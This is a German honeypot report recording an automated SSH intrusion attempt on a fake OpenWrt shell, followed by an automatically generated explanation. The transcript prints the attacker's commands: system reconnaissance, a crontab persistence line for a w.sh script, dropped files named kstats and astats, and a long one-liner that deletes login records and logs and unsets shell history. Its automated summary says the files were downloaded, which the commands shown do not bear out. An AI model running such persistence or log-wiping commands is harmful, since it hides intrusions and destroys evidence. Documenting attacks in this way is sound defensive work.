ALLSmartSecurity
Mitschnitt

SSH-Angriff aus Kolumbien: Hardware ausspähen und Einnisten per Cronjob

10.10.2026, 17:34 UTC · 13 Befehle · über ssh · Kolumbien

Überblick

Dienst
ssh (Port 22)
Herkunft
Kolumbien · EPM Telecomunicaciones S.A. E.S.P.
Probierte Zugangsdaten
root / #HOfohGK$UL=V0=

Der Angriff, nachgespielt

echter Mitschnitt unserer Fake-Shell; die Antworten sind erfunden, ausgeführt wurde nie etwas
root@srv01: ~

root@srv01:~$ uname -a
Linux OpenWrt 5.4.179 #0 SMP Mon Apr 4 20:03:07 2022 mips GNU/Linux
root@srv01:~$ sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd "$d" 2>/dev/null && pwd && break; done'
/
root@srv01:~$ cat /proc/cpuinfo | grep processor | wc -l
4
root@srv01:~$ cd "/" && if [ ! -f "w.sh" ]; then cat > "w.sh" && chmod +x w.sh; fi
bash: w.sh: No such file or directory
root@srv01:~$ CRON="$(crontab -l 2>/dev/null || true)"
root@srv01:~$ echo "$CRON" | grep -F '//w.sh "astats" "netai" "kstats" "ssh 2 az"' >/dev/null 2>&1 || \
bash: syntax error near unexpected token `||'
root@srv01:~$ printf '%s\n%s\n' "@reboot  //w.sh "astats" "netai" "kstats" "ssh 2 az"" "0 * * * * cd "/" && ./w.sh "astats" "netai" "kstats" "ssh 2 az"" | (cat -; echo "$CRON") | crontab -
bash: syntax error near unexpected token `('
root@srv01:~$ ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10
PID %CPU COMMAND
  134  0.4  procd
  145  0.3  logd
  156  0.2  netifd
  162  0.1  uhttpd
  178  0.1  dnsmasq
  201  0.1  klogd
  202  0.1  syslogd
  215  0.0  dropbear
  220  0.0  crond
  225  0.0  ash
root@srv01:~$ ps aux | grep astats | grep -v grep |grep -v systemd-networkd |grep -v ld-musl-x86_64 |grep -v rsyslogd | wc -l
0
root@srv01:~$ ps aux | grep kstats | grep -v grep |grep -v systemd-networkd |grep -v ld-musl-x86_64 |grep -v rsyslogd | wc -l
0
root@srv01:~$ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > kstats
bash: kstats: No such file or directory
root@srv01:~$ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats
bash: astats: No such file or directory
root@srv01:~$ rm -rf .bash_history;rm -rf /var/run/utmp;rm -rf /var/run/wtmp -;rm -rf /var/log/lastlog;rm -rf /usr/adm/lastlog;rm -rf .bash_history;cd /home;rm -rf yum.log;cd /var/log/;rm -rf wtmp;rm -rf secure;rm -rf lastlog;rm -rf messages;touch messagess;touch wtmp;touch secure;touch lastlog;cd /root;rm -rf .bash_history;touch .bash_history;unset HISTFILE;unset HISTSAVE;history -n;unset WATCH;nohup sh /tmp/.…
rm: cannot remove '/var/run/utmp': No such file or directory
rm: cannot remove '/var/run/wtmp -': No such file or directory
rm: cannot remove '/usr/adm/lastlog': No such file or directory
rm: cannot remove 'yum.log': No such file or directory
rm: cannot remove 'secure': No such file or directory
rm: cannot remove 'messages': No such file or directory
rm: cannot remove '.bash_history': No such file or directory

Was hier passiert ist

automatisch erstellte Einschätzung, keine Gewähr

Was versucht wurde

Ein Angreifer loggte sich per SSH mit dem Benutzer root und einem bekannten Passwort ein. Er prüfte zunächst die Systemumgebung und die Anzahl der Prozessoren. Anschließend versuchte er, ein Skript namens w.sh im Wurzelverzeichnis anzulegen und es über die Cron-Tabelle regelmäßig auszuführen. Danach lud er zwei weitere Dateien namens kstats und astats herunter und löschte abschließend diverse Log-Dateien, um seine Spuren zu verwischen.

Was die Befehle bewirken

Das Kommando uname -a liefert Informationen über das Betriebssystem und die Architektur. Die Schleife mit cd prüft, in welches beschreibbare Verzeichnis geschrieben werden kann. cat /proc/cpuinfo zählt die verfügbaren CPU-Kerne, um die Leistungsfähigkeit des Ziels einzuschätzen. Der Block mit crontab plant die Ausführung des Skripts w.sh bei jedem Systemstart und stündlich. Die ps-Befehle prüfen, ob bereits ähnliche Prozesse laufen, um Konflikte zu vermeiden. Die rm-Befehle löschen Protokolle wie lastlog und wtmp, um die Anmeldung und Aktivität zu verstecken.

Worauf es hinauslief

Das Vorgehen deutet stark auf die Installation einer Malware-Komponente hin, die als Hintergrundprozess läuft. Die Namen astats und kstats sowie die Parameter deuten auf einen Kryptominer oder einen Botnet-Client hin, der Ressourcen des Systems nutzt. Das Löschen der Logs dient der Verschleierung, was typisch für illegale Hintergrundaktivitäten ist.

Einordnung

Dieses Muster ist sehr verbreitet und folgt einem standardisierten Skript für IoT-Geräte. Es handelt sich um einen automatisierten Angriff, der auf bekannte Schwachstellen in Routern mit OpenWrt abzielt.